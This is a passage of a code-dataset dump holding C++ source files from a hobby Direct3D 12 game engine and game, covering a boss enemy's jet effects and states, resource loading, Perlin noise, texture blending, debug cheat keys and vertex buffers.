smaller.effectScale;\n\tsmaller.particleScale = 5.f;\n\tsmaller.particleLifeTime = 1.f;\n\tsmaller.particleYUp = 300.f;\n\n\tJetEffect::JetEffectInitParam thrusterParam;\n\tthrusterParam.effectScale = 0.1f;\n\tthrusterParam.effectScale_inv = 1.f / thrusterParam.effectScale;;\n\tthrusterParam.particleScale = 5.f;\n\tthrusterParam.particleLifeTime = 1.f;\n\tthrusterParam.particleYUp = 300;\n\n\tJetEffect::JetEffectInitParam skirtParam;\n\tskirtParam.effectScale = 0.1f;\n\tskirtParam.effectScale_inv =1.f / skirtParam.effectScale;\n\tskirtParam.particleScale = 5;\n\tskirtParam.particleLifeTime = 1.f;\n\tskirtParam.particleYUp = 1000.f;\n\n\tfor (int i = 0; i < TO_INT(EnJetBone::NumJetBone); i++) {\n\t\tauto jetEffect = NewGO<JetEffect>(0);\n\t\tm_jetEffects.push_back(jetEffect);\n\t}\n\n\tm_jetEffects[TO_INT(EnJetBone::ElbowR)]->Init(smaller);\n\tm_jetEffects[TO_INT(EnJetBone::ElbowR)]->SetGenerateFlag(false);\n\n\tm_jetEffects[TO_INT(EnJetBone::ElbowL)]->Init(smaller);\n\tm_jetEffects[TO_INT(EnJetBone::ElbowL)]->SetGenerateFlag(false);\n\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterR)]->Init(thrusterParam);\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterR)]->SetGenerateFlag(false);\n\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterL)]->Init(thrusterParam);\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterL)]->SetGenerateFlag(false);\n\n\tm_jetEffects[TO_INT(EnJetBone::BackR)]->Init(smaller);\n\tm_jetEffects[TO_INT(EnJetBone::BackR)]->SetGenerateFlag(false);\n\n\tm_jetEffects[TO_INT(EnJetBone::BackL)]->Init(smaller);\n\tm_jetEffects[TO_INT(EnJetBone::BackL)]->SetGenerateFlag(false);\n\n\tm_jetEffects[TO_INT(EnJetBone::Skirt)]->Init(skirtParam);\n\tm_jetEffects[TO_INT(EnJetBone::Skirt)]->SetGenerateFlag(true);\n\n\tm_bones.resize(TO_INT(EnJetBone::NumJetBone));\n\n\t//ElbowR\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bone.002_R.026\"));\n\t\tm_bones.at(TO_INT(EnJetBone::ElbowR)) = bone;\n\t}\n\t//ElbowL\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bone.002_L.026\"));\n\t\tm_bones.at(TO_INT(EnJetBone::ElbowL)) = bone;\n\t}\n\t//ThrusterR\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bombe_R\"));\n\t\tm_bones.at(TO_INT(EnJetBone::ThrusterR)) = bone;\n\t}\n\t//ThrusterL\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Bombe_L\"));\n\t\tm_bones.at(TO_INT(EnJetBone::ThrusterL)) = bone;\n\t}\n\t//BackR\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"BackJet_R\"));\n\t\tm_bones.at(TO_INT(EnJetBone::BackR)) = bone;\n\t}\n\n\t//BackL\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"BackJet_L\"));\n\t\tm_bones.at(TO_INT(EnJetBone::BackL)) = bone;\n\t}\n\n\t//Skirt\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"SkirtJet\"));\n\t\tm_bones.at(TO_INT(EnJetBone::Skirt)) = bone;\n\t}\n\n\t////HandR\n\t//{\n\t//\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"SkirtJet\"));\n\t//\tm_bones.at(TO_INT(EnJetBone::HandR)) = bone;\n\t//}\n\n\n\t//Physics\n\tInitCharacon(m_radius,m_height, m_position, true);\n\n\t//m_rightHandCollider.Create(m_HandRadius);\n\n\t//SE\n\tm_jetSE = NewGO< CSoundSource>(0);\n\tm_jetSE->Init(L\"Assets/sound/chara/jetSe.wav\", true);\n\n}\n\nvoid BossA::InitState() {\n\t//Init State\n\tm_stateMap.insert(std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new EnemyMeleeIdleState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(IEnemy::EnState::enBattleState), new EnemyMeleeBattleState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new EnemyMeleeDeadState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(IEnemy::EnState::enStunState), new EnemyStunState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enFlyState), new EnemyMeleeFlyState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enTeleportation), new EnemyTeleportationState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enPunch), new EnemyMeleePunchState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enDashPunch), new EnemyDashPunchState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enOverheat), new EnemyMeleeOverheatState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enThrusterAttack), new EnemyMeleeThrusterAttackState()));\n}\n\nvoid BossA::Terminate() {\n\tDeleteGO(m_model);\n\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\tDeleteGO(m_jetEffects[i]);\n\t}\n\tDeleteGO(m_jetSE);\n\tEnemyManager::GetEnemyManager().SetMeleeBoss(nullptr);\n}\n\nvoid BossA::Execute() {\n\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\t////Physics\n\t////btVector3 velocity = m_forward;\n\t//btVector3 velocity(0, 1, 0);// = m_forward;\n\t//btScalar allowedCcdPenetration = 0.f;\n\n\t//btTransform t_from = m_handpos;\n\t//btTransform t_to = t_from;\n\t//t_to.setOrigin(t_to.getOrigin() + velocity);\n\t//btCollisionWorld::ClosestConvexResultCallback cb(t_from.getOrigin(), t_to.getOrigin());\n\n\t//btCollisionWorld::ConvexResultCallback callback();\n\t//Physics().ConvexSweepTest((const btConvexShape*)m_rightHandCollider.GetBody(), btStart, btEnd, callback);\n\t\n\t//体力がなくなったら死亡ステートへ遷移\n\tif (m_ability.hp <= 0) {\n\t\tSetState(m_stateMap.at(TO_INT(IEnemy::EnState::enDeadState)));\n\t}\n}\n\nvoid BossA::ExecuteCommon() {\n\t//Effect\n\tm_smokeEffect->SetPos(m_position);\n\n\t//Elbow\n\tm_jetEffects[TO_INT(EnJetBone::ElbowR)]->SetPosition(m_bones.at(TO_INT(EnJetBone::ElbowR))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::ElbowR)]->SetRotation(m_bones.at(TO_INT(EnJetBone::ElbowR))->GetWorldMatrix().GetRotate());\n\tm_jetEffects[TO_INT(EnJetBone::ElbowL)]->SetPosition(m_bones.at(TO_INT(EnJetBone::ElbowL))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::ElbowL)]->SetRotation(m_bones.at(TO_INT(EnJetBone::ElbowL))->GetWorldMatrix().GetRotate());\n\t//Thruster\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterR)]->SetPosition(m_bones.at(TO_INT(EnJetBone::ThrusterR))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterR)]->SetRotation(m_bones.at(TO_INT(EnJetBone::ThrusterR))->GetWorldMatrix().GetRotate());\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterL)]->SetPosition(m_bones.at(TO_INT(EnJetBone::ThrusterL))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::ThrusterL)]->SetRotation(m_bones.at(TO_INT(EnJetBone::ThrusterL))->GetWorldMatrix().GetRotate());\n\t//Back\n\tm_jetEffects[TO_INT(EnJetBone::BackR)]->SetPosition(m_bones.at(TO_INT(EnJetBone::BackR))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::BackR)]->SetRotation(m_bones.at(TO_INT(EnJetBone::BackR))->GetWorldMatrix().GetRotate());\n\tm_jetEffects[TO_INT(EnJetBone::BackL)]->SetPosition(m_bones.at(TO_INT(EnJetBone::BackL))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::BackL)]->SetRotation(m_bones.at(TO_INT(EnJetBone::BackL))->GetWorldMatrix().GetRotate());\n\t//Skirt\n\tm_jetEffects[TO_INT(EnJetBone::Skirt)]->SetPosition(m_bones.at(TO_INT(EnJetBone::Skirt))->GetWorldMatrix().GetTransrate());\n\tm_jetEffects[TO_INT(EnJetBone::Skirt)]->SetRotation(m_bones.at(TO_INT(EnJetBone::Skirt))->GetWorldMatrix().GetRotate());\n\n\n\tm_jetSE->SetPosition(m_position);\n}\n\nvoid BossA::SpawnDropItem() {\n\tauto item = NewGO<DropItemA>(0);\n\titem->SetPosition(m_position);\n}"
},
{
"alpha_fraction": 0.6584821343421936,
"alphanum_fraction": 0.6607142686843872,
"avg_line_length": 14.482758522033691,
"blob_id": "a5448fadb73c64a9ee79d1b1e656eb25bd13bdb1",
"content_id": "e50dcb7de75a3088b1beb90b1ab1009a853f1896",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 468,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 29,
"path": "/UsualEngineR/Resource/IResource.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass IResource\n\t{\n\tpublic:\n\t\tvirtual void LoadImplement(const char* path) = 0;\n\t\tvoid Load(const char* path);\n\t\tvoid LoadAsync(const char* path);\n\n\n\t\tbool IsLoaded() const\n\t\t{\n\t\t\treturn m_isLoaded;\n\t\t}\n\tprivate:\n\t\tvoid EndLoad()\n\t\t{\n\t\t\tm_isLoaded = true;\n\t\t}\n\tprivate:\n\t\tstd::string m_filePath;\n\t\tbool m_isLoaded = false;\t//読み込み完了フラグ。\n\t\tstd::unique_ptr< std::thread > m_loadThread;\n\t\tThreadObject m_threadObj;\n\t};\n}"
},
{
"alpha_fraction": 0.5885462760925293,
"alphanum_fraction": 0.6281938552856445,
"avg_line_length": 20.433961868286133,
"blob_id": "f813ea4e238868f52ffb363d12682149b10a94d8",
"content_id": "e929925f152e9de99492c2ddb22e3ab2d7629ad3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1369,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 53,
"path": "/UsualEngineR/math/PerlinNoise.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\t//シングルトンっぽくなってるけど、別に新しいインスタンス作っても問題ないで!\n\tclass PerlinNoise2D\n\t{\n\tprivate:\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"v\"></param>\n\t\t/// <returns></returns>\n\t\tVector2 Random2D(const Vector2& v) const;\n\tpublic:\n\t\tstatic PerlinNoise2D& Get()\n\t\t{\n\t\t\tstatic PerlinNoise2D ins;\n\t\t\treturn ins;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Vector2からパーリンノイズを生成します。\n\t\t/// </summary>\n\t\t/// <param name=\"v\"></param>\n\t\t/// <returns></returns>\n\t\tfloat GenerateNoise(const Vector2& v) const;\n\n\t\t/// <summary>\n\t\t/// Random2Dのためのパラメータを指定します。\n\t\t/// これによって周期などが変わります。\n\t\t/// </summary>\n\t\t/// <param name=\"dt_x\"></param>\n\t\t/// <param name=\"dt_y\"></param>\n\t\t/// <param name=\"scaling\"></param>\n\t\tvoid SetParamater(const Vector2& dt_x, const Vector2& dt_y, float scaling)\n\t\t{\n\t\t\tm_dot_x = dt_x;\n\t\t\tm_dot_y = dt_y;\n\t\t\tm_scaling = scaling;\n\t\t}\n\tprivate:\n\t\tVector2 m_dot_x = Vector2(349.7f, 761.3f);\t// random2Dで使うパラメータ\n\t\tVector2 m_dot_y = Vector2(277.1f, 409.5f);\t// random2Dで使うパラメータ\n\t\tfloat m_scaling = 19990.623f;\t\t\t\t// random2Dで使うパラメータ(実は俺の生年月日)\n\t};\n\tstatic PerlinNoise2D& GPerlinNoise2D()\n\t{\n\t\treturn PerlinNoise2D::Get();\n\t}\n}"
},
{
"alpha_fraction": 0.6503937244415283,
"alphanum_fraction": 0.6551181077957153,
"avg_line_length": 12.82608699798584,
"blob_id": "fa7e520f1b7d95b5302f968cca33e49132c709c9",
"content_id": "437ad307267b58436a739393c579b5f88a9cbae2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 635,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 46,
"path": "/UsualEngineR/Graphics/TextureCopy.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tclass Primitive;\n\n\tclass TextureCopy\n\t{\n\tpublic:\n\t\tenum class BlendMethod :UINT8\n\t\t{\n\t\t\tBM_Add,\n\t\t\tBM_Min,\n\t\t\tBM_Mul,\n\t\t\tBM_Div,\n\t\t\tBM_Trans,\n\t\t};\n\n\t\tenum class TextureNum :UINT8\n\t\t{\n\t\t\tSingle,\n\t\t\tDouble,\n\t\t\tTriple,\n\t\t};\n\n\t\tTextureCopy(){}\n\t\tvirtual ~TextureCopy()\n\t\t{\n\t\t\tRelease();\n\t\t}\n\t\tvoid Release();\n\n\t\tvoid Init(Texture* srcTex[3], BlendMethod bm, TextureNum texNum=TextureNum::Single);\n\n\t\tvoid Render(RenderContext& rc, RenderTarget& rt, const Primitive& prim);\n\tprivate:\n\t\tDescriptorHeap m_descHeap;\n\t\tRootSignature m_rootSign;\n\t\tPipelineState m_pipeState;\n\n\t\tShader m_vs;\n\t\tShader m_ps;\n\t};\n}"
},
{
"alpha_fraction": 0.661376953125,
"alphanum_fraction": 0.708984375,
"avg_line_length": 31.515872955322266,
"blob_id": "c21c8c1f655ed936a303da73a1a035f269db791d",
"content_id": "a7e0c7a2bfb833f56ebcc30c0033d1aa544ea61a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4146,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 126,
"path": "/UsualEngineR/Graphics/TextureCopy.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"TextureCopy.h\"\n\n\n\nnamespace UER\n{\n\tvoid TextureCopy::Release()\n\t{\n\t}\n\tvoid TextureCopy::Init(Texture* srcTex[3], BlendMethod bm, TextureNum texNum)\n\t{\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP\n\t\t);\n\t\tm_descHeap.RegistShaderResource(0, *srcTex[0]);\n\t\t\n\t\n\t\tm_vs.LoadVS(L\"Assets/shader/Copy.fx\", \"VSMain\");\n\t\tswitch (texNum)\n\t\t{\n\t\tcase TextureNum::Single:\n\t\t\tm_ps.LoadPS(L\"Assets/shader/Copy.fx\", \"PSMain\");\n\t\t\tbreak;\n\t\tcase TextureNum::Double:\n\t\t\tm_ps.LoadPS(L\"Assets/shader/Copy.fx\", \"PSMain_Double\");\n\t\t\tm_descHeap.RegistShaderResource(1, *srcTex[1]);\n\t\t\tbreak;\n\t\tcase TextureNum::Triple:\n\t\t\tm_ps.LoadPS(L\"Assets/shader/Copy.fx\", \"PSMain_Triple\");\n\t\t\tm_descHeap.RegistShaderResource(1, *srcTex[1]);\n\t\t\tm_descHeap.RegistShaderResource(2, *srcTex[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tm_descHeap.Commit();\n\t\t{\n\t\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t\t{\n\t\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t};\n\t\t\tCD3DX12_BLEND_DESC blendDescS(D3D12_DEFAULT);\n\t\t\tD3D12_BLEND_DESC blendDesc;\n\t\t\tblendDesc.AlphaToCoverageEnable = FALSE;\n\t\t\tblendDesc.IndependentBlendEnable = FALSE;\n\t\t\tD3D12_RENDER_TARGET_BLEND_DESC rtblenddesc;\n\t\t\tswitch (bm)\n\t\t\t{\n\t\t\tcase BlendMethod::BM_Add:\n\t\t\t{\n\t\t\t\trtblenddesc =\n\t\t\t\t{\n\t\t\t\t\tTRUE,FALSE,\n\t\t\t\t\t//D3D12_BLEND_SRC_ALPHA,D3D12_BLEND_INV_SRC_ALPHA,D3D12_BLEND_OP_ADD,\n\t\t\t\t\t//D3D12_BLEND_SRC_ALPHA,D3D12_BLEND_INV_SRC_ALPHA,D3D12_BLEND_OP_ADD,\n\t\t\t\t\tD3D12_BLEND_ONE,D3D12_BLEND_ONE,D3D12_BLEND_OP_ADD,\n\t\t\t\t\tD3D12_BLEND_ONE,D3D12_BLEND_ONE,D3D12_BLEND_OP_ADD,\n\t\t\t\t\tD3D12_LOGIC_OP_NOOP,\n\t\t\t\t\tD3D12_COLOR_WRITE_ENABLE_ALL\n\t\t\t\t\t//((D3D12_COLOR_WRITE_ENABLE_RED | D3D12_COLOR_WRITE_ENABLE_GREEN) | D3D12_COLOR_WRITE_ENABLE_BLUE)\n\t\t\t\t};\n\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase BlendMethod::BM_Trans:\n\t\t\t\trtblenddesc =\n\t\t\t\t{\n\t\t\t\t\tTRUE,FALSE,\n\t\t\t\t\tD3D12_BLEND_SRC_ALPHA,D3D12_BLEND_INV_SRC_ALPHA,D3D12_BLEND_OP_ADD,\n\t\t\t\t\tD3D12_BLEND_SRC_ALPHA,D3D12_BLEND_INV_SRC_ALPHA,D3D12_BLEND_OP_ADD,\n\t\t\t\t\tD3D12_LOGIC_OP_NOOP,\n\t\t\t\t\tD3D12_COLOR_WRITE_ENABLE_ALL\n\t\t\t\t\t//((D3D12_COLOR_WRITE_ENABLE_RED | D3D12_COLOR_WRITE_ENABLE_GREEN) | D3D12_COLOR_WRITE_ENABLE_BLUE)\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\tfor (auto& blend : blendDesc.RenderTarget)\n\t\t\t{\n\t\t\t\tblend = rtblenddesc;\n\t\t\t}\n\t\t\tCD3DX12_RASTERIZER_DESC rastDesc(D3D12_DEFAULT);\n\t\t\t//rastDesc.DepthClipEnable = TRUE;\n\t\t\t//パイプラインステートを作成。\n\t\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\t\tpsoDesc.RasterizerState = rastDesc;\n\t\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\t\tpsoDesc.BlendState = blendDesc;\n\t\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\t\tpsoDesc.NumRenderTargets = 1;\n\t\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D32_FLOAT;\n\t\t\tpsoDesc.SampleDesc.Count = 1;\n\n\n\t\t\tm_pipeState.Init(psoDesc);\n\t\t}\n\t\t\n\t}\n\tvoid TextureCopy::Render(RenderContext& rc,RenderTarget& rt, const Primitive& prim)\n\t{\n\t\t//rc.WaitUntilToPossibleSetRenderTarget(rt);\n\t\trc.SetRenderTarget(rt.GetRTVCpuDescriptorHandle(), rt.GetDSVCpuDescriptorHandle());\n\t\tD3D12_VIEWPORT vp{ 0,0,rt.GetWidth(),rt.GetHeight(),0,1 };\n\t\trc.SetViewport(vp);\n\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetDescriptorHeap(m_descHeap);\n\t\trc.SetPipelineState(m_pipeState);\n\n\t\tprim.Draw(rc);\n\t\t//rc.WaitUntilFinishDrawingToRenderTarget(rt);\n\t}\n}"
},
{
"alpha_fraction": 0.6817129850387573,
"alphanum_fraction": 0.6947337985038757,
"avg_line_length": 22.33108139038086,
"blob_id": "f4ba11ad99137a0e25c9db22018c9283b8198922",
"content_id": "29a3660fb6cc629e5cba318fe397e183212b1549",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3456,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 148,
"path": "/Game/GameDebugger.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"GameDebugger.h\"\n#include \"GameManager.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Player/Player.h\"\n\n#include \"Enemy/Boss/BossA.h\"\n#include \"Enemy/Boss/Boss_FatMan.h\"\n#include \"Enemy/Zako/Zako_ShortRangeMonster.h\"\n#include \"Enemy/Zako/Zako_LongDistanceMachine.h\"\n#include \"Enemy/Zako/Zako_ExplosionMonster.h\"\n#include \"Enemy/Zako/Zako_LongBig.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n#include \"Game.h\"\n\n\nGameDebugger::GameDebugger()\n{\n\n}\n\nGameDebugger::~GameDebugger()\n{\n\n}\n\n\n\nvoid GameDebugger::Release()\n{\n\n}\n\nvoid GameDebugger::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid GameDebugger::Awake()\n{\n\n}\n\nbool GameDebugger::Start()\n{\n\tDebugSwitchAddCheck(DebugSwitchNewSwitch('X', 0, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\t\t\tGameManager::GetInstance().GetPlayer()->Heal(100);\n\t\t}));\n\tDebugSwitchAddCheck(DebugSwitchNewSwitch('X', VK_SHIFT, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\t\t\tGameManager::GetInstance().GetPlayer()->ChargeBoost(100);\n\t\t}));\n\tDebugSwitchAddCheck(DebugSwitchNewSwitch('X', VK_CONTROL, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\t\t\tGameManager::GetInstance().GetPlayer()->ChargeEndurance(100);\n\t\t}));\n\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button(VK_NUMPAD0, 0, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\n\t\t\tauto e = NewGO<Zako_ShortRangeMonster>(0);\n\t\t\tIEnemy::StAbility ab;\n\t\t\tab.InitStamina(100);\n\t\t\tab.InitHP(60);\n\t\t\te->SetAbility(ab);\n\t\t\te->SetPosition(GameManager::GetInstance().GetPlayer()->GetPosition());\n\t\t\tEnemyManager::GetEnemyManager().AddEnemy(e);\n\t\t\t\n\t\t}));\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button(VK_NUMPAD1, 0, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\n\t\t\tauto e = NewGO<Zako_LongDistanceMachine>(0);\n\t\t\tIEnemy::StAbility ab;\n\t\t\tab.InitStamina(100);\n\t\t\tab.InitHP(60);\n\t\t\te->SetAbility(ab);\n\t\t\te->SetPosition(GameManager::GetInstance().GetPlayer()->GetPosition());\n\t\t\tEnemyManager::GetEnemyManager().AddEnemy(e);\n\t\t}));\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button(VK_NUMPAD2, 0, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\n\t\t\tauto e = NewGO<Zako_ShortBig>(0);\n\t\t\tIEnemy::StAbility ab;\n\t\t\tab.InitStamina(100);\n\t\t\tab.InitHP(120);\n\t\t\te->SetAbility(ab);\n\t\t\te->SetPosition(GameManager::GetInstance().GetPlayer()->GetPosition());\n\t\t\tEnemyManager::GetEnemyManager().AddEnemy(e);\n\t\t}));\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button(VK_NUMPAD3, 0, [&]()\n\t\t{\n\t\t\tif (!GameManager::GetInstance().GetPlayer())\n\t\t\t\treturn;\n\n\t\t\tauto e = NewGO<Zako_LongBig>(0);\n\t\t\tIEnemy::StAbility ab;\n\t\t\tab.InitStamina(100);\n\t\t\tab.InitHP(60);\n\t\t\te->SetAbility(ab);\n\t\t\te->SetPosition(GameManager::GetInstance().GetPlayer()->GetPosition());\n\t\t\tEnemyManager::GetEnemyManager().AddEnemy(e);\n\t\t}));\n\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button('Q', 0, [&]()\n\t\t{\n\t\t\tGameManager::GetInstance().m_gameScene->GoalGatePerformance();\n\t\t}));\n\n\tDebugSwitchAddButton(DebugSwitchNewSwitch_Button('C', 0, [&]()\n\t\t{\n\t\t\tGameManager::GetInstance().m_player->UnlockPreset(Player::EnAttackPreset::enExplosivePreset);\n\t\t\tGameManager::GetInstance().m_player->UnlockPreset(Player::EnAttackPreset::enMeleePreset);\n\t\t\tGameManager::GetInstance().m_player->UnlockPreset(Player::EnAttackPreset::enRemoteAttackPreset);\n\t\t}));\n\treturn true;\n}\n\n\nvoid GameDebugger::PreUpdate()\n{\n\n}\n\nvoid GameDebugger::Update()\n{\n\n}\n\nvoid GameDebugger::PostUpdate()\n{\n\n}\n\n\n\n"
},
{
"alpha_fraction": 0.6827914118766785,
"alphanum_fraction": 0.7010309100151062,
"avg_line_length": 20.741378784179688,
"blob_id": "a997492a07b0b5c223437eb33c286b08bb07830e",
"content_id": "4ea5d6850e67f11da5ad143956ef8b5fec1416e0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1289,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 58,
"path": "/UsualEngineR/Graphics/VertexBuffer.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"VertexBuffer.h\"\n\n\nnamespace UER\n{\n\t\n\t\n\tVertexBuffer::~VertexBuffer()\n\t{\n\t\tRelease();\n\t}\n\tvoid VertexBuffer::Release()\n\t{\n\t\tif (m_vertexBuffer)\n\t\t\tm_vertexBuffer->Release();\n\t\tm_vertexBuffer = nullptr;\n\t}\n\tvoid VertexBuffer::Init(int size, int stride)\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\tauto h = CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD);\n\t\tauto r = CD3DX12_RESOURCE_DESC::Buffer(size);\n\t\td3dDevice->CreateCommittedResource(\n\t\t\t&h,\n\t\t\tD3D12_HEAP_FLAG_NONE,\n\t\t\t&r,\n\t\t\tD3D12_RESOURCE_STATE_GENERIC_READ,\n\t\t\tnullptr,\n\t\t\tIID_PPV_ARGS(&m_vertexBuffer));\n\t\t\n\t\tm_vertexBuffer->SetName(L\"VertexBuffer\");\n\t\t//頂点バッファのビューを作成。\n\t\tm_vertexBufferView.BufferLocation = m_vertexBuffer->GetGPUVirtualAddress();\n\t\tm_vertexBufferView.SizeInBytes = size;\n\t\tm_vertexBufferView.StrideInBytes = stride;\n\t}\n\tvoid VertexBuffer::Copy(void* srcVertices)\n\t{\n\t\tuint8_t* pData;\n\t\tm_vertexBuffer->Map(0, nullptr, (void**)&pData);\n\t\tmemcpy(pData, srcVertices, m_vertexBufferView.SizeInBytes);\n\t\tm_vertexBuffer->Unmap(0, nullptr);\n\t}\n\n\tvoid* VertexBuffer::BeginEgit()\n\t{\n\t\tvoid* pData;\n\t\tm_vertexBuffer->Map(0, nullptr, (void**)&pData);\n\t\treturn pData;\n\t}\n\n\tvoid VertexBuffer::EndEdit()\n\t{\n\t\tm_vertexBuffer->Unmap(0, 